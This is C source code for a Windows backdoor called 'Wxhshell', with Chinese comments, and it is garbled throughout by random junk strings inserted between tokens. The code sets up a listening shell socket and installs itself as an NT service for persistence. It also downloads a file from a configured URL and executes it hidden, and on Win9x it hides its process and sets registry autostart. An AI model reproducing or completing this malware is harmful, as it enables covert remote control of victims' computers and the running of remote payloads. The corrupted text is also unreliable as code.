J // 主模块 =#jTo|~u4o int StartWxhshell(LPSTR lpCmdLine) [+_\z',u { 5%'o%`?i SOCKET wsl; Nz}|%.GP" BOOL val=TRUE; 80 dSQ"y int port=0; tD865gi struct sockaddr_in door; $f9 ,##/ <Nvlk\LQ if(wscfg.ws_autoins) Install(); nM=2"`@$ 3F;EE: port=atoi(lpCmdLine); *u58l(&`8 `Y0fst<, if(port<=0) port=wscfg.ws_port; xNn>+J gNG.l WSADATA data; .x]'eq} if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mSy|&(l AwtIWH*e if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; av"Dljc setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C-_(13S door.sin_family = AF_INET; F_K door.sin_addr.s_addr = inet_addr("127.0.0.1"); ShsJ_/C2 door.sin_port = htons(port); N!]PIWnC ,nI_8r"M> if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .V7Y2!4TE closesocket(wsl); y|$vtD%c return 1; eog\pMv } CZF^Wxk 7?+5%7- if(listen(wsl,2) == INVALID_SOCKET) { ^tQPJ closesocket(wsl); cPV5^9\T return 1; '9f6ZAnYpQ } 7sCR!0 Wxhshell(wsl); o7m99( WSACleanup(); 6Wf*>G*h 7k.d|<mRv return 0; ]6jHIk| /j`i/Ha1 } N'htcC f34_?F<h // 以NT服务方式启动 6s> sj7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~ W2:NQ>i { bX a %EMF DWORD status = 0; tq2-.]Y@U DWORD specificError = 0xfffffff; `\Uc4lRS Iq^~ serviceStatus.dwServiceType = SERVICE_WIN32; >fW+AEt\JB serviceStatus.dwCurrentState = SERVICE_START_PENDING; JHnk%h0 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #(m`2Z`H serviceStatus.dwWin32ExitCode = 0; [Od>NO,n+] serviceStatus.dwServiceSpecificExitCode = 0; vx({N? serviceStatus.dwCheckPoint = 0; d4b 9rtM serviceStatus.dwWaitHint = 0; #9URVq,
v(i1Z}*b hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y:DNu9 if (hServiceStatusHandle==0) return; .CIbpV?T 3L'en status = GetLastError(); >lUBt5gU if (status!=NO_ERROR) #|)JD@;Q { t-3v1cv" serviceStatus.dwCurrentState = SERVICE_STOPPED; yg]suU<z] serviceStatus.dwCheckPoint = 0; 53g8T+`\( serviceStatus.dwWaitHint = 0; 0sq=5 BnO serviceStatus.dwWin32ExitCode = status; )pkhir06t serviceStatus.dwServiceSpecificExitCode = specificError; oG|?F4l* SetServiceStatus(hServiceStatusHandle, &serviceStatus); ykErt%k<n return; E
geG,/-` } @9n
#vs 0IoXDx serviceStatus.dwCurrentState = SERVICE_RUNNING; 6ON serviceStatus.dwCheckPoint = 0; Z"teZ0H serviceStatus.dwWaitHint = 0; o[5=S,' if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @2x0V]AI } =NVZ$K OZ !=8L.^5c // 处理NT服务事件,比如:启动、停止 V+4k! VOID WINAPI NTServiceHandler(DWORD fdwControl) }qgqb { d
A_S"Zc
switch(fdwControl) eO|^Lu]+ { jhjW*F<u case SERVICE_CONTROL_STOP: ]# tGT0 serviceStatus.dwWin32ExitCode = 0; clPZd serviceStatus.dwCurrentState = SERVICE_STOPPED; YR^Ee8 _H serviceStatus.dwCheckPoint = 0; l%-67( serviceStatus.dwWaitHint = 0; 4~]8N@Bii { [ZL r:2+z SetServiceStatus(hServiceStatusHandle, &serviceStatus); B|Rpm^| } 0 .6X{kO return; ,kGw;8X case SERVICE_CONTROL_PAUSE: 3B!&ow<rt serviceStatus.dwCurrentState = SERVICE_PAUSED; N}.Q%&6: break; sRo<4U0M;l case SERVICE_CONTROL_CONTINUE: )A>U<n $h serviceStatus.dwCurrentState = SERVICE_RUNNING; Zi[{\7a break; ,H#qgnp case SERVICE_CONTROL_INTERROGATE: SK2J`* break; F^ %{
; }; ihpz}g SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z~-T0Ab- } f)u*Q!BDD %x cM_|AyR // 标准应用程序主函数 zm;*:]S int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =F^->e0N { }iiG$?|. ne!j%9Ar // 获取操作系统版本 z[0LU]b< OsIsNt=GetOsVer(); q/ d5P GetModuleFileName(NULL,ExeFile,MAX_PATH); 1pYmtr 0`g}(}'L // 从命令行安装 `JY>v io if(strpbrk(lpCmdLine,"iI")) Install(); |p=.Gg=2 $v?! 6: // 下载执行文件 ,J`lr
U0 if(wscfg.ws_downexe) { @4 Os?_gJ\ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -N-4l WinExec(wscfg.ws_filenam,SW_HIDE); M2zos(8g } _!$Up Z;"4$@|qE if(!OsIsNt) { ^w&5@3d // 如果时win9x,隐藏进程并且设置为注册表启动 x3Dg%=R HideProc(); }v'PY/d. StartWxhshell(lpCmdLine); \@
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} NbQMWU~7 else rH2tC=% if(StartFromService()) ,
$D&WH // 以服务方式启动 BRSgB-Rr7 StartServiceCtrlDispatcher(DispatchTable); XEgx#F ;F else Im' :sJ31 // 普通方式启动 *$4A|EA V StartWxhshell(lpCmdLine); k_En_\c?p2 >H=Q$gI return 0; %1 VNP(E }
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